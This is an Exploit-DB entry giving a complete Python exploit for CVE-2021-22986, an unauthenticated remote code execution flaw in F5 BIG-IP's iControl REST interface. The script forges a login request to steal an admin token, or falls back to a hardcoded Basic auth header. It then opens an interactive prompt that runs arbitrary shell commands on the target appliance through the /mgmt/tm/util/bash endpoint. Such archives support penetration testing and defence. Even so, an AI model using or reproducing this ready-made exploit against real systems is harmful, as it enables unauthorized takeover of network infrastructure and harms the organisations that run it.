Exploit-DB #49738
Description: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2021-04-02
Author: Al1ex

Exploit:
# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)
# Exploit Author: Al1ex
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2
# CVE : CVE-2021-22986

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys


def title():
    print('''
      ______ ____    ____  _______       ___     ___    ___    __        ___    ___     ___     ___      __   
     /      |\   \  /   / |   ____|     |__ \   / _ \  |__ \  /_ |      |__ \  |__ \   / _ \   / _ \    / /   
    |  ,----' \   \/   /  |  |__    ______ ) | | | | |    ) |  | |  ______ ) |    ) | | (_) | | (_) |  / /_   
    |  |       \      /   |   __|  |______/ /  | | | |   / /   | | |______/ /    / /   \__, |  > _ <  | '_ \  
    |  `----.   \    /    |  |____       / /_  | |_| |  / /_   | |       / /_   / /_     / /  | (_) | | (_) | 
     \______|    \__/     |_______|     |____|  \___/  |____|  |_|      |____| |____|   /_/    \___/   \___/                                                                                                                                                                             
    
                                Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex
    ''')   

def exploit(url):
	target_url = url + '/mgmt/shared/authn/login'
	data = {
		"bigipAuthCookie":"",
		"username":"admin",
		"loginReference":{"link":"/shared/gossip"},
		"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
	}
	headers = {
		"User-Agent": "hello-world",
		"Content-Type":"application/x-www-form-urlencoded"
	}
	response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
	if "/mgmt/shared/authz/tokens/" not in response.text:
		print('(-) Get token fail !!!')
		print('(*) Tested Method 2:') 
		header_2 = {
		    'User-Agent': 'hello-world',
		    'Content-Type': 'application/json',
		    'X-F5-Auth-Token': '',
		    'Authorization': 'Basic YWRtaW46QVNhc1M='
		}
		data_2 = {
			"command": "run", 
			"utilCmdArgs": "-c whoami"
		}
		check_url = url + '/mgmt/tm/util/bash'
		try:
			response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
			if response2.status_code == 200 and 'commandResult' in response2.text:
				while True:
					cmd = input("(:CMD)> ")
					data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
					r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
					if r.status_code == 200 and 'commandResult' in r.text:
						print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
			else:
				print('(-) Not vuln...')
				exit(0)
		except Exception:
			print('ERROR Connect')
	print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
	while True:
		cmd = input("(:CMD)> ")
		headers = {
			"Content-Type": "application/json",
			"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
		}
		data_json = {
			"command": "run", 
			"utilCmdArgs": "-c \'%s\'"%(cmd)
		}
		exp_url= url + '/mgmt/tm/util/bash'
		exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
		if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
			print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
		else:
			print('(-) Not vuln...')
			exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    	print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    	exit(0)
    else:
    	exploit(sys.argv[1])